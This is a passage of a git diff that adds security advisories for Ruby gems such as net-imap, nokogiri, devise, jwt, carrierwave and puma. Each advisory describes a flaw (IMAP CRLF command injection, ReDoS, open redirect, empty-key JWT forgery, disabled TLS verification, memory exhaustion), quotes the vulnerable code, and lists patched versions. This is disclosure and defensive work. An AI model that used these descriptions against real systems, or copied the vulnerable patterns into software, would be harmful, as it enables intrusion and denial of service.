arguments passed to IMAP commands. + + ### Details + + Symbol arguments represent IMAP "system flags", which are formatted as "atoms" + (with no quoting) with a `"\"` prefix. Vulnerable versions of Net::IMAP sends + the symbol name directly to the socket, with no validation. + + Because the Symbol input is unvalidated, it could contain invalid `flag` + characters, including `SP` and `CRLF`, which could be used to finish the + current command and inject new commands. + + Although IMAP `flag` arguments are only valid input for a few IMAP commands, + most Net::IMAP commands use generic argument handling, and will allow Symbol + (`flag`) inputs. + + Note also that the list of valid symbol inputs should be restricted to an + enumerated set of standard RFC defined flag types, which have each been given + specific defined semantics. Any user-provided values outside of that list of + standard "system flags" needs to use the IMAP `keyword` syntax, which are sent + as atoms, i.e: string inputs. Under no circumstances should `#to_sym` ever be + called on unvetted user-provided input: that will always be a bug in the + calling code for the simple reason that `user_input_atom` is as + `\user_input_atom`. + + For forward compatibility with future IMAP extentions, Net::IMAP, does not + restrict flag inputs to an enumerated list. That is the responsibility of the + calling application code, which knows which flag semantics are valid for its + context. + + ### Impact + + If a developer passes user-controlled input as a Symbol to most Net::IMAP + commands, an attacker can append CRLF sequence followed by a new IMAP command + (like `DELETE mailbox`). + + ### Mitigation + * Upgrade to a version of Net::IMAP that validates Symbols are valid as an + IMAP `flag`. + + * User-provided input should never be able to control calling `#to_sym` on + string arguments. + + For example, do not unsafely serialize and deserialize command arguments + (e.g. with YAML or Marshal) in a way that could create unvetted Symbol + arguments. + + * For the few IMAP commands which do allow `flag` arguments, it may be + appropriate to hard-code Symbol arguments or restrict them to an enumerated + list which is valid for the calling application. + cvss_v3: 7.1 + cvss_v4: 5.8 + patched_versions: + - "~> 0.4.24" + - "~> 0.5.14" + - ">= 0.6.4" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2026-42258 + - https://github.com/ruby/net-imap/security/advisories/GHSA-75xq-5h9v-w6px + - https://github.com/ruby/net-imap/commit/6bf02aef7e0b5931010c36e377f79a71636b306b + - https://github.com/ruby/net-imap/commit/9db3e9d60bfb8f3735ea95015bf8a700f4af9cbb + - https://github.com/ruby/net-imap/commit/aec06996eb87a7e1bbcef1f9f8926e8add2b8c71 + - https://github.com/ruby/net-imap/releases/tag/v0.4.24 + - https://github.com/ruby/net-imap/releases/tag/v0.5.14 + - https://github.com/ruby/net-imap/releases/tag/v0.6.4 + - https://github.com/advisories/GHSA-75xq-5h9v-w6px + notes: | + - cvss_v4 from GHSA + - cvss_v3 from nvd.nist.gov URL (also had 5.3 too) +--- diff --git a/advisories/_posts/2026-05-05-GHSA-3h96-34p3-xm76.md b/advisories/_posts/2026-05-05-GHSA-3h96-34p3-xm76.md new file mode 100644 index 00000000..c84e905e --- /dev/null +++ b/advisories/_posts/2026-05-05-GHSA-3h96-34p3-xm76.md @@ -0,0 +1,41 @@ +--- +layout: advisory +title: 'GHSA-3h96-34p3-xm76 (graphql): GraphQL-Ruby''s Ruby lexer does not count comment + tokens for the purposes of max_query_string_tokens' +comments: false +categories: +- graphql +advisory: + gem: graphql + ghsa: 3h96-34p3-xm76 + url: https://github.com/rmosolgo/graphql-ruby/security/advisories/GHSA-3h96-34p3-xm76 + title: GraphQL-Ruby's Ruby lexer does not count comment tokens for the purposes + of max_query_string_tokens + date: 2026-05-05 + description: |- + GraphQL-Ruby's `max_query_string_tokens` configuration didn't count + comment tokens against the limit, allowing strings to be processed + even after the configured maximum had actually been reached. + + In patched versions, the Ruby lexer does count these tokens. + + GraphQL-CParser is not affected by this problem. + + `max_query_string_tokens` was introduced in v2.3.1. Each 2.x + version has received a new patch release for including a fix. + cvss_v3: 5.3 + unaffected_versions: + - "< 2.3.1" + patched_versions: + - "~> 2.3.23" + - "~> 2.4.18" + - "~> 2.5.26" + - ">= 2.6.1" + related: + url: + - https://github.com/rmosolgo/graphql-ruby/blob/master/CHANGELOG.md#261 + - https://github.com/rmosolgo/graphql-ruby/commit/2a8d95680bf1ed9bb7c0d89345a736f57b10877b + - https://github.com/rmosolgo/graphql-ruby/pull/4929 + - https://github.com/rmosolgo/graphql-ruby/security/advisories/GHSA-3h96-34p3-xm76 + - https://github.com/advisories/GHSA-3h96-34p3-xm76 +--- diff --git a/advisories/_posts/2026-05-06-GHSA-c4rq-3m3g-8wgx.md b/advisories/_posts/2026-05-06-GHSA-c4rq-3m3g-8wgx.md new file mode 100644 index 00000000..66a08acb --- /dev/null +++ b/advisories/_posts/2026-05-06-GHSA-c4rq-3m3g-8wgx.md @@ -0,0 +1,57 @@ +--- +layout: advisory +title: 'GHSA-c4rq-3m3g-8wgx (nokogiri): Nokogiri CSS selector tokenizer has regular + expression backtracking' +comments: false +categories: +- nokogiri +advisory: + gem: nokogiri + ghsa: c4rq-3m3g-8wgx + url: https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-c4rq-3m3g-8wgx + title: Nokogiri CSS selector tokenizer has regular expression backtracking + date: 2026-05-06 + description: |- + ## Summary + + Nokogiri's CSS selector tokenizer contains regular expressions whose construction may result in exponential regex backtracking on adversarial selectors. Three ReDoS vectors are addressed in this release: + + 1. String-literal tokenization on certain unterminated quoted-string input. + 2. String-literal tokenization on a separate class of hex-escape-rich input. + 3. Identifier tokenization on hex-escape-rich input. + + The public CSS selector methods that funnel through the affected tokenizer are `Nokogiri::CSS.xpath_for`, `Node#css`, `Node#at_css`, `Searchable#search`, and `CSS::Parser#parse`. + + + ## Mitigation + + Upgrade to Nokogiri `>= 1.19.3`. + + If users are unable to upgrade, two options are available: + + - Avoid the use of attacker-controlled text in CSS selectors. Applications that only pass developer-authored selectors to Nokogiri are not directly exposed. + - Set global `Regexp.timeout` (Ruby 3.2+, JRuby 9.4+) to bound parse time. + + ## Severity + + The Nokogiri maintainers have evaluated this as **High Severity** (CVSS 7.5, `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`). + + An attacker able to inject user-supplied text into a CSS selector parse method can cause exponential backtracking, resulting in a potential denial of service. + + + ## Resources + + - [CWE-1333: Inefficient Regular Expression Complexity](https://cwe.mitre.org/data/definitions/1333.html) + + + ## Credit + + Vector 1 was responsibly reported by @colby-swandale. Vectors 2 and 3 were discovered by @flavorjones during the response to the original report. + cvss_v3: 7.5 + patched_versions: + - ">= 1.19.3" + related: + url: + - https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-c4rq-3m3g-8wgx + - https://github.com/advisories/GHSA-c4rq-3m3g-8wgx +--- diff --git a/advisories/_posts/2026-05-06-GHSA-v2fc-qm4h-8hqv.md b/advisories/_posts/2026-05-06-GHSA-v2fc-qm4h-8hqv.md new file mode 100644 index 00000000..a8d698d0 --- /dev/null +++ b/advisories/_posts/2026-05-06-GHSA-v2fc-qm4h-8hqv.md @@ -0,0 +1,52 @@ +--- +layout: advisory +title: 'GHSA-v2fc-qm4h-8hqv (nokogiri): Nokogiri XSLT transform has a memory leak' +comments: false +categories: +- nokogiri +advisory: + gem: nokogiri + ghsa: v2fc-qm4h-8hqv + url: https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-v2fc-qm4h-8hqv + title: Nokogiri XSLT transform has a memory leak + date: 2026-05-06 + description: |- + ## Summary + + Nokogiri's `Nokogiri::XSLT::Stylesheet#transform` leaks a small heap allocation when passed a Ruby string parameter containing a null byte. + + For applications that pass attacker-controlled input through `XSLT.transform` parameters, this may be a vector for a denial of service attack against long-running processes. + + + ## Mitigation + + Upgrade to Nokogiri `>= 1.19.3`. + + Users may also be able to mitigate this issue without upgrading by validating untrusted transform parameters before passing them to `Nokogiri::XSLT::Stylesheet#transform`. + + + ## Severity + + The Nokogiri maintainers have evaluated this as **Moderate Severity**, CVSS 5.3. + + Each leaked allocation is approximately 24–32 bytes, so meaningful memory growth requires sustained attacker-controlled traffic at high call rates. The bug does not cause memory corruption, information disclosure, or any change in the behavior of the transform itself, and the string-handling exception is raised as expected. + + Applications that do not pass raw attacker-controlled bytes to XSLT parameters are unlikely to be affected in practice. + + + ## Resources + + - [CWE-401: Missing Release of Memory after Effective Lifetime](https://cwe.mitre.org/data/definitions/401.html) + + + ## Credit + + This vulnerability was responsibly reported by @Captainjack-kor. + cvss_v3: 5.3 + patched_versions: + - ">= 1.19.3" + related: + url: + - https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-v2fc-qm4h-8hqv + - https://github.com/advisories/GHSA-v2fc-qm4h-8hqv +--- diff --git a/advisories/_posts/2026-05-07-CVE-2025-67202.md b/advisories/_posts/2026-05-07-CVE-2025-67202.md new file mode 100644 index 00000000..066c27fd --- /dev/null +++ b/advisories/_posts/2026-05-07-CVE-2025-67202.md @@ -0,0 +1,31 @@ +--- +layout: advisory +title: 'CVE-2025-67202 (sidekiq-cron): Sidekiq-cron is vulnerable to a cross-site + scripting (xss) vulnerability via crafted URL' +comments: false +categories: +- sidekiq-cron +advisory: + gem: sidekiq-cron + cve: 2025-67202 + ghsa: xv9c-mjw8-79gf + url: https://github.com/advisories/GHSA-xv9c-mjw8-79gf + title: Sidekiq-cron is vulnerable to a cross-site scripting (xss) vulnerability + via crafted URL + date: 2026-05-07 + description: |- + Sidekiq-cron thru 2.3.1, an open-source scheduling add-on for Sidekiq, + is vulnerable to a cross-site scripting (xss) vulnerability via + crafted URL being rended from cron.erb. + cvss_v3: 6.1 + patched_versions: + - ">= 2.4.0" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2025-67202 + - https://github.com/sidekiq-cron/sidekiq-cron/releases/tag/v2.4.0 + - https://github.com/sidekiq-cron/sidekiq-cron/pull/568 + - https://github.com/sidekiq-cron/sidekiq-cron/commit/7b4ae4822f93ef4646f5cb55500ca4e25662db7c + - https://github.com/sidekiq-cron/sidekiq-cron/issues/569 + - https://github.com/advisories/GHSA-xv9c-mjw8-79gf +--- diff --git a/advisories/_posts/2026-05-07-CVE-2026-44312.md b/advisories/_posts/2026-05-07-CVE-2026-44312.md new file mode 100644 index 00000000..0d296b80 --- /dev/null +++ b/advisories/_posts/2026-05-07-CVE-2026-44312.md @@ -0,0 +1,61 @@ +--- +layout: advisory +title: 'CVE-2026-44312 (css_parser): Improper Certificate Validation allows MITM injection + of remote CSS content' +comments: false +categories: +- css_parser +advisory: + gem: css_parser + cve: 2026-44312 + ghsa: ff6c-w6qf-7xqc + url: https://github.com/premailer/css_parser/security/advisories/GHSA-ff6c-w6qf-7xqc + title: Improper Certificate Validation allows MITM injection of remote CSS content + date: 2026-05-07 + description: |- + ### Summary + + The CSS Parser gem does not validate HTTPS connections, allowing a + Man-in-the-Middle (MITM) attacker to inject or modify CSS content when + stylesheets are loaded via HTTPS. The connection is established with + `OpenSSL::SSL::VERIFY_NONE`, meaning any HTTPS certificate—even + entirely untrusted—will be accepted without validation. + + ### Details + + In `lib/css_parser/parser.rb`, the HTTP client sets: + https://github.com/premailer/css_parser/blob/3f91e8db7547fac50ab50cb7f9920f785f722740/lib/css_parser/parser.rb#L646 + + ```ruby + http.verify_mode = OpenSSL::SSL::VERIFY_NONE + ``` + + As a result, the library does not validate the authenticity of HTTPS + connections and does not protect against man-in-the-middle attacks. + Any attacker in a position to intercept network traffic can inject + or modify CSS loaded via HTTPS URLs without detection or warning. + + ### Impact + + Applications using CSS Parser to load remote stylesheets over HTTPS + are vulnerable to CSS injection and content manipulation, regardless + of the trust status of the remote server. All users who use CSS Parser + to fetch external CSS over HTTPS may be impacted. + + ### Credit + + This vulnerability was uncovered by @JLLeitschuh of the + @braze-inc security team. + cvss_v3: 5.8 + patched_versions: + - "~> 1.22.0" + - ">= 2.1.0" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2026-44312 + - https://github.com/premailer/css_parser/security/advisories/GHSA-ff6c-w6qf-7xqc + - https://github.com/premailer/css_parser/commit/35e689c904225add78e0c488cf04bad052666449 + - https://github.com/premailer/css_parser/commit/e0c95d5abe91b237becb90ff316531a6547ada18 + - https://github.com/premailer/css_parser/issues/185 + - https://github.com/advisories/GHSA-ff6c-w6qf-7xqc +--- diff --git a/advisories/_posts/2026-05-07-CVE-2026-44511.md b/advisories/_posts/2026-05-07-CVE-2026-44511.md new file mode 100644 index 00000000..b9c831be --- /dev/null +++ b/advisories/_posts/2026-05-07-CVE-2026-44511.md @@ -0,0 +1,55 @@ +--- +layout: advisory +title: 'CVE-2026-44511 (katalyst-koi): Session cookies can be replayed after user + logout' +comments: false +categories: +- katalyst-koi +advisory: + gem: katalyst-koi + cve: 2026-44511 + ghsa: 4cx3-3c38-j9vv + url: https://github.com/katalyst/koi/security/advisories/GHSA-4cx3-3c38-j9vv + title: Session cookies can be replayed after user logout + date: 2026-05-07 + description: |- + ### Impact + + Admin session cookies were not invalidated when an admin user logged + out. An attacker with access to a valid admin session cookie could + continue to access admin functionality after logout, until the + cookie expired or session secrets were rotated. + + This affects applications using Koi admin authentication where an + admin session cookie may have been exposed, cached, intercepted, or + otherwise retained after logout. + + ### Patches + + The issue has been patched by recording admin logout time and + rejecting any admin session cookie created before the user’s + most recent logout. + + Users should upgrade to the patched Koi releases once available. + + ### Workarounds + + Katalyst Koi recommends upgrading to the latest available version, + or back porting the changes released in 5.6.0/4.20.0 + + ### Resources + + This is an application of https://guides.rubyonrails.org/v5.2.0/security.html#replay-attacks-for-cookiestore-sessions . + cvss_v3: 7.4 + patched_versions: + - "~> 4.20.0" + - ">= 5.6.0" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2026-44511 + - https://github.com/katalyst/koi/commit/606b33c140a61b1a2b37878ca7504741ec68df33 + - https://github.com/katalyst/koi/commit/fdbfb404a9500f7fed33e03ab2eb7c2578f9652c + - https://github.com/katalyst/koi/security/advisories/GHSA-4cx3-3c38-j9vv + - https://guides.rubyonrails.org/v5.2.0/security.html#replay-attacks-for-cookiestore-sessions + - https://github.com/advisories/GHSA-4cx3-3c38-j9vv +--- diff --git a/advisories/_posts/2026-05-08-CVE-2026-40295.md b/advisories/_posts/2026-05-08-CVE-2026-40295.md new file mode 100644 index 00000000..db5a74dc --- /dev/null +++ b/advisories/_posts/2026-05-08-CVE-2026-40295.md @@ -0,0 +1,111 @@ +--- +layout: advisory +title: 'CVE-2026-40295 (devise): Devise has an Open Redirect via Unvalidated `request.referrer` + in Timeoutable Session Timeout Handler' +comments: false +categories: +- devise +advisory: + gem: devise + cve: 2026-40295 + ghsa: jp94-3292-c3xv + url: https://github.com/heartcombo/devise/security/advisories/GHSA-jp94-3292-c3xv + title: Devise has an Open Redirect via Unvalidated `request.referrer` in Timeoutable + Session Timeout Handler + date: 2026-05-08 + description: |- + ## Summary + + When the `Timeoutable` module is enabled in Devise, the + `FailureApp#redirect_url` method returns `request.referrer` — the + HTTP `Referer` header, which is attacker-controllable — without + validation for any non-GET request that results in a session timeout. + An attacker who hosts a page with an auto-submitting cross-origin + form can cause a victim with an expired Devise session to be + redirected to an arbitrary external URL. This contrasts with the + GET timeout path (which uses server-side `attempted_path`) and + Devise's own `store_location_for` mechanism (which strips external + hosts via `extract_path_from_location`), both of which are protected; + only the non-GET timeout redirect path is unprotected. + + ## Details + + The vulnerable code is in `lib/devise/failure_app.rb`: + + ```ruby + def redirect_url + if warden_message == :timeout + flash[:timedout] = true if is_flashing_format? + + path = if request.get? + attempted_path # safe: server-side value from warden options + else + request.referrer # UNSAFE: HTTP Referer header, attacker-controlled + end + + path || scope_url + else + scope_url + end + end + ``` + + This is passed directly to `redirect_to`: + + ```ruby + def redirect + store_location! + # ... + redirect_to redirect_url # redirect_url may be an external attacker URL + end + ``` + + The GET timeout path uses `attempted_path`, which is set server-side + by Warden and cannot be influenced by the client. The `store_location!` + method also only runs for GET requests, so no session-based protection + is applied on POST timeouts. + + By contrast, Devise's `store_location_for` method (used elsewhere) + correctly sanitizes URLs via `extract_path_from_location`, which + strips the scheme and host. + + ## Impact + + - Victims with expired sessions who click any attacker-crafted link + or visit an attacker page with an auto-submitting form are redirected + to an arbitrary external URL. + - The redirect happens transparently via a trusted domain (the target + app's domain), bypassing browser phishing warnings. + - An attacker can redirect victims to a fake login page to harvest + credentials (phishing), or to malicious download sites. + + _Note_: Rails' built-in open-redirect protection does not mitigate + this issue. `Devise::FailureApp` is an `ActionController::Metal` + app with its own isolated copy of the relevant redirect configuration, + so `config.action_controller.action_on_open_redirect = :raise` (and + the older `raise_on_open_redirects` setting) do not reach it. + + ## Patches + + This is patched in Devise v5.0.4. Users should upgrade as soon as possible. + + ## Workaround + + None beyond upgrading. If an upgrade is not immediately possible, the + same changes from the patch commit can be applied as a monkey-patch + in a Rails initializer (`Devise::FailureApp#redirect_url` and + `Devise::Controllers::StoreLocation#extract_path_from_location`). + Remove the monkey-patch after upgrading. + cvss_v3: 6.1 + patched_versions: + - ">= 5.0.4" + related: + url: + - https://www.cve.org/CVERecord?id=CVE-2026-40295 + - https://github.com/heartcombo/devise/releases/tag/v5.0.4 + - https://github.com/heartcombo/devise/blob/v5.0.4/CHANGELOG.md#504---2026-05-08 + - https://github.com/heartcombo/devise/commit/9ea459de9aec5f1217ad738c58e0d23fb9f5beaa + - https://github.com/heartcombo/devise/commit/025fe2124f9928766fc46520e999633b598d0360 + - https://github.com/heartcombo/devise/security/advisories/GHSA-jp94-3292-c3xv + - https://github.com/advisories/GHSA-jp94-3292-c3xv +--- diff --git a/advisories/_posts/2026-05-08-CVE-2026-44836.md b/advisories/_posts/2026-05-08-CVE-2026-44836.md new file mode 100644 index 00000000..7e951943 --- /dev/null +++ b/advisories/_posts/2026-05-08-CVE-2026-44836.md @@ -0,0 +1,43 @@ +--- +layout: advisory +title: 'CVE-2026-44836 (view_component): view_component - Preview Route Can Dispatch + Inherited Helper Methods''' +comments: false +categories: +- view_component +advisory: + gem: view_component + cve: 2026-44836 + ghsa: 7f3r-gwc9-2995 + url: https://github.com/ViewComponent/view_component/security/advisories/GHSA-7f3r-gwc9-2995 + title: view_component - Preview Route Can Dispatch Inherited Helper Methods' + date: 2026-05-08 + description: |- + The preview route derives an example name from the URL and calls it + with `public_send`. The code does not verify that the requested + method is one of the preview examples explicitly defined by the + preview class. + + As a result, inherited public methods on `ViewComponent::Preview` + are route-reachable. The most important one is `render_with_template`, + which accepts `template:` and `locals:`. Those values can come from + request params and are later passed to Rails as `render template:`. + + If previews are exposed, an attacker can render internal Rails + templates that are not otherwise routable. + + Severity: High if preview routes are externally reachable; Medium otherwise. + cvss_v3: 6.5 + unaffected_versions: + - "< 3.0.0" + patched_versions: + - ">= 4.9.0" + - ">= 3.25.0, < 4.0.0" + related: + url: + - https://viewcomponent.org/CHANGELOG.html#490 + - https://github.com/ViewComponent/view_component/releases/tag/v4.9.0 + - https://github.com/ViewComponent/view_component/releases/tag/v3.25.0 + - https://github.com/ViewComponent/view_component/security/advisories/GHSA-7f3r-gwc9-2995 + - https://github.com/advisories/GHSA-7f3r-gwc9-2995 +--- diff --git a/advisories/_posts/2026-05-08-CVE-2026-44837.md b/advisories/_posts/2026-05-08-CVE-2026-44837.md new file mode 100644 index 00000000..bffbdeab --- /dev/null +++ b/advisories/_posts/2026-05-08-CVE-2026-44837.md @@ -0,0 +1,36 @@ +--- +layout: advisory +title: 'CVE-2026-44837 (view_component): view_component - System Test Entry Point + Path Check Allows Sibling Directory Escape' +comments: false +categories: +- view_component +advisory: + gem: view_component + cve: 2026-44837 + ghsa: hg3h-g7xc-f7vp + url: https://github.com/ViewComponent/view_component/security/advisories/GHSA-hg3h-g7xc-f7vp + title: view_component - System Test Entry Point Path Check Allows Sibling Directory + Escape + date: 2026-05-08 + description: |- + The system test entrypoint canonicalizes a user-controlled file path + with `File.realpath`, then checks whether the resolved path starts + with the temp directory path. This is not a safe containment check + because sibling directories can share the same string prefix. + + Severity: Medium; test-route scoped. + cvss_v3: 5.9 + unaffected_versions: + - "< 3.0.0" + patched_versions: + - ">= 4.9.0" + - ">= 3.25.0, < 4.0.0" + related: + url: + - https://viewcomponent.org/CHANGELOG.html#490 + - https://github.com/ViewComponent/view_component/releases/tag/v4.9.0 + - https://github.com/ViewComponent/view_component/releases/tag/v3.25.0 + - https://github.com/ViewComponent/view_component/security/advisories/GHSA-hg3h-g7xc-f7vp + - https://github.com/advisories/GHSA-hg3h-g7xc-f7vp +--- diff --git a/advisories/_posts/2026-05-18-CVE-2026-33637.md b/advisories/_posts/2026-05-18-CVE-2026-33637.md new file mode 100644 index 00000000..88873ef2 --- /dev/null +++ b/advisories/_posts/2026-05-18-CVE-2026-33637.md @@ -0,0 +1,53 @@ +--- +layout: advisory +title: 'CVE-2026-33637 (faraday): Faraday has a possible incomplete fix for GHSA-33mh-2634-fwr2 + - protocol-relative URI objects still bypass host scoping' +comments: false +categories: +- faraday +advisory: + gem: faraday + cve: 2026-33637 + ghsa: 5rv5-xj5j-3484 + url: https://nvd.nist.gov/vuln/detail/CVE-2026-33637 + title: Faraday has a possible incomplete fix for GHSA-33mh-2634-fwr2 - protocol-relative + URI objects still bypass host scoping + date: 2026-05-18 + description: |- + ## Summary + + `Faraday::Connection#build_exclusive_url` still allows protocol-relative + host override when the request target is provided as a `URI` object + instead of a `String`. This bypasses the February 2026 fix for + `GHSA-33mh-2634-fwr2` and can redirect a request built from a fixed-base + `Faraday::Connection` to an attacker-controlled host while preserving + connection-scoped headers such as `Authorization`. + + ## Supporting Materials + + - Existing advisory for the original string-based issue: GHSA-33mh-2634-fwr2 + - Existing CVE for the original string-based issue: CVE-2026-25765 + - Existing regression tests for the string-only fix: + - spec/faraday/connection_spec.rb:314-345 + - Existing test proving supported URI request input: + - spec/faraday/request_spec.rb:26-31 + + ## Impact + + The direct consequence is off-host request forgery from code paths + that believe they are constrained to a fixed base URL. If the + connection carries default headers or query parameters, those + values are forwarded to the attacker-selected host. + cvss_v3: 6.5 + unaffected_versions: + - "< 2.0.0" + patched_versions: + - ">= 2.14.2" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2026-33637 + - https://github.com/lostisland/faraday/releases/tag/v2.14.2 + - https://github.com/lostisland/faraday/security/advisories/GHSA-5rv5-xj5j-3484 + - https://github.com/advisories/GHSA-33mh-2634-fwr2 + - https://github.com/advisories/GHSA-5rv5-xj5j-3484 +--- diff --git a/advisories/_posts/2026-05-18-CVE-2026-45363.md b/advisories/_posts/2026-05-18-CVE-2026-45363.md new file mode 100644 index 00000000..1a8d7587 --- /dev/null +++ b/advisories/_posts/2026-05-18-CVE-2026-45363.md @@ -0,0 +1,66 @@ +--- +layout: advisory +title: 'CVE-2026-45363 (jwt): ruby-jwt: Empty-key HMAC bypass; cross-language sibling + of CVE-2026-44351' +comments: false +categories: +- jwt +advisory: + gem: jwt + cve: 2026-45363 + ghsa: c32j-vqhx-rx3x + url: https://www.cve.org/CVERecord?id=CVE-2026-45363 + title: 'ruby-jwt: Empty-key HMAC bypass; cross-language sibling of CVE-2026-44351' + date: 2026-05-18 + description: |- + `JWT.decode(token, '', true, algorithm: 'HS256')` accepts an + attacker-forged token. `OpenSSL::HMAC.digest('SHA256', '', payload)` + returns a valid digest under an empty key, and no + `raise InvalidKeyError if key.empty?` precondition exists in the HMAC + algorithm. + + ``` + JWT.decode(token, "", true, algorithm: 'HS256') + -> JWA::Hmac.verify(verification_key: "", ...) + -> OpenSSL::HMAC.digest('SHA256', "", signing_input) == signature + ``` + + The same path is reached when a keyfinder block or key_finder: argument + returns "", nil, or an array containing nil for an unknown key. + JWT::Decode#find_key only rejects literal nil and empty arrays, and + JWT::JWA::Hmac silently coerces nil to "" (signing_key ||= '') before + signing. + + ``` + JWT.decode(token, nil, true, algorithms: ['HS256']) { |_h| "" } + -> find_key returns "" # "" && !Array("").empty? == true + -> JWA::Hmac.verify(verification_key: "", ...) + -> verifies + ``` + + Common application patterns that produce the unsafe value: + `redis.get("kid:#{kid}").to_s`, ORM string columns with `default: ''`, + `ENV['SECRET'] || ''`, `Hash.new('')` lookups, `[primary, fallback]` + where fallback may be nil. Applications passing a non-empty static + `key:`, or whose keyfinder returns nil / raises on miss, are not + affected. + + The existing `enforce_hmac_key_length` option would block this but + defaults to false. On OpenSSL ≥ 3.5 the empty-key HMAC.digest call no + longer raises, so the OpenSSL-3.0 rescue in JWA::Hmac#sign does not + fire. + + Affects HS256/HS384/HS512 via both JWT.decode (positional key and block + keyfinder) and `JWT::EncodedToken#verify_signature!(key_finder:)`. + cvss_v3: 7.4 + patched_versions: + - "~> 2.10.3" + - ">= 3.2.0" + related: + url: + - https://www.cve.org/CVERecord?id=CVE-2026-45363 + - https://github.com/jwt/ruby-jwt/security/advisories/GHSA-c32j-vqhx-rx3x + - https://github.com/jwt/ruby-jwt/commit/db560b769a07bd9724e77ff505011ac01872106f + - https://github.com/jwt/ruby-jwt/releases/tag/v3.2.0 + - https://github.com/advisories/GHSA-c32j-vqhx-rx3x +--- diff --git a/advisories/_posts/2026-05-27-CVE-2026-44587.md b/advisories/_posts/2026-05-27-CVE-2026-44587.md new file mode 100644 index 00000000..be553054 --- /dev/null +++ b/advisories/_posts/2026-05-27-CVE-2026-44587.md @@ -0,0 +1,87 @@ +--- +layout: advisory +title: 'CVE-2026-44587 (carrierwave): CarrierWave has a denylisted_content_type bypass + via Unescaped Regex Metacharacters' +comments: false +categories: +- carrierwave +advisory: + gem: carrierwave + cve: 2026-44587 + ghsa: 7g26-2qgj-chfg + url: https://www.cve.org/CVERecord?id=CVE-2026-44587 + title: CarrierWave has a denylisted_content_type bypass via Unescaped Regex Metacharacters + date: 2026-05-27 + description: |- + ### Summary + + CarrierWave's content_type_denylist check fails to escape regex + metacharacters in string entries, causing the denylist to silently + not match the content types it is intended to block. + + **Note**: CarrierWave is aware `#content_type_denylist is deprecated + for the security reason`, but it still used by developers, and the + problem here isn't denylist allows any filetype, and thats not a + vulnerability in carrierwave, its an implementation problem in + developers using CarrierWave, the problem is its denylist entries + are interpolated directly into a regex without `Regexp.quote` or + anchoring. The denylist is still useful when developers want to + ban specific content types but allow everything else. + + ### Details + + In `lib/carrierwave/uploader/content_type_denylist.rb:57`, string + denylist entries are interpolated directly into a regex without + `Regexp.quote` or anchoring: + + ```ruby + def denylisted_content_type?(denylist, content_type) + Array(denylist).any? { |item| content_type =~ /#{item}/ } + end + + The entry "image/svg+xml" becomes the regex /image\/svg+xml/ where + + is a quantifier meaning "one or more g", not a literal +. This + regex never matches the real MIME type "image/svg+xml" which contains + a literal +. This is inconsistent with the allowlist implementation + at lib/carrierwave/uploader/content_type_allowlist.rb:53-57, which + correctly applies both Regexp.quote and a \A anchor: + + rubydef allowlisted_content_type?(allowlist, content_type) + Array(allowlist).any? do |item| + item = Regexp.quote(item) if item.class != Regexp + content_type =~ /\A#{item}/ + end + end + ``` + + Other affected MIME types include `application/xhtml+xml` and any + type containing regex metacharacters. + + Fix: Apply Regexp.quote for string entries and anchor with \A, + matching the existing allowlist implementation: + + ``` + rubydef denylisted_content_type?(denylist, content_type) + Array(denylist).any? do |item| + item = Regexp.quote(item) if item.class != Regexp + content_type =~ /\A#{item}/ + end + end + ``` + ### Impact + + Any application that uses content_type_denylist to block image/svg+xml + — the most common use case, specifically to prevent stored XSS — is + silently unprotected. + cvss_v3: 4.7 + patched_versions: + - "~> 2.2.7" + - ">= 3.1.3" + related: + url: + - https://www.cve.org/CVERecord?id=CVE-2026-44587 + - https://github.com/carrierwaveuploader/carrierwave/releases + - https://github.com/carrierwaveuploader/carrierwave/commit/21221cc6e260633f7da78c6133a88666a5529d27 + - https://github.com/carrierwaveuploader/carrierwave/security/advisories/GHSA-7g26-2qgj-chfg + - https://github.com/advisories/GHSA-7g26-2qgj-chfg +--- diff --git a/advisories/_posts/2026-05-27-CVE-2026-47736.md b/advisories/_posts/2026-05-27-CVE-2026-47736.md new file mode 100644 index 00000000..ae364f3b --- /dev/null +++ b/advisories/_posts/2026-05-27-CVE-2026-47736.md @@ -0,0 +1,66 @@ +--- +layout: advisory +title: 'CVE-2026-47736 (puma): Puma PROXY Protocol v1 Parser Allows Remote Memory + Exhaustion' +comments: false +categories: +- puma +advisory: + gem: puma + cve: 2026-47736 + ghsa: qpgp-93vx-g8v8 + url: https://www.cve.org/CVERecord?id=CVE-2026-47736 + title: Puma PROXY Protocol v1 Parser Allows Remote Memory Exhaustion + date: 2026-05-27 + description: |- + ## Impact + + PROXY protocol support for Puma was added in version 5.5.0. + + When PROXY protocol v1 support is enabled, Puma reads incoming bytes + into an internal buffer. It waits for "\r\n" to determine whether a + PROXY v1 line is present. If an attacker opens a TCP connection and + continuously sends bytes without CRLF, Puma keeps appending to this + pre-parse buffer. + + This can cause unbounded in-process memory growth and additional + CPU cost from repeatedly scanning the growing buffer for CRLF. + A single, unauthenticated TCP connection can drive significant memory + growth and may cause process/container OOM or degraded availability. + + Only Puma servers using the following non-default config are affected: + + set_remote_address proxy_protocol: :v1 + + ## Workarounds + + * Disable PROXY protocol v1 parsing if it is not required: + # remove/comment this: + # set_remote_address proxy_protocol: :v1 + + * Restrict direct network access to Puma listeners using PROXY protocol: + * Only allow trusted load balancers/reverse proxies to connect. + * Block arbitrary client TCP access with firewall/security group rules. + cvss_v3: 7.5 + unaffected_versions: + - "< 5.5.0" + patched_versions: + - "~> 7.2.1" + - ">= 8.0.2" + related: + url: + - https://www.cve.org/CVERecord?id=CVE-2026-47736 + - https://rubygems.org/gems/puma/versions/8.0.2 + - https://github.com/puma/puma/releases/tag/v8.0.2 + - https://github.com/puma/puma/releases/tag/v7.2.1 + - https://github.com/puma/puma/blob/main/History.md#802--2026-05-27 + - https://github.com/puma/puma/blob/main/History.md#721--2026-05-27 + - https://github.com/puma/puma/pull/2654 + - https://github.com/puma/puma/issues/2651 + - https://rubyweekly.com/issues/803 + - https://advisories.gitlab.com/gem/puma/CVE-2026-47736 + - https://github.com/puma/puma/security/advisories/GHSA-qpgp-93vx-g8v8 + notes: | + - https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-47736 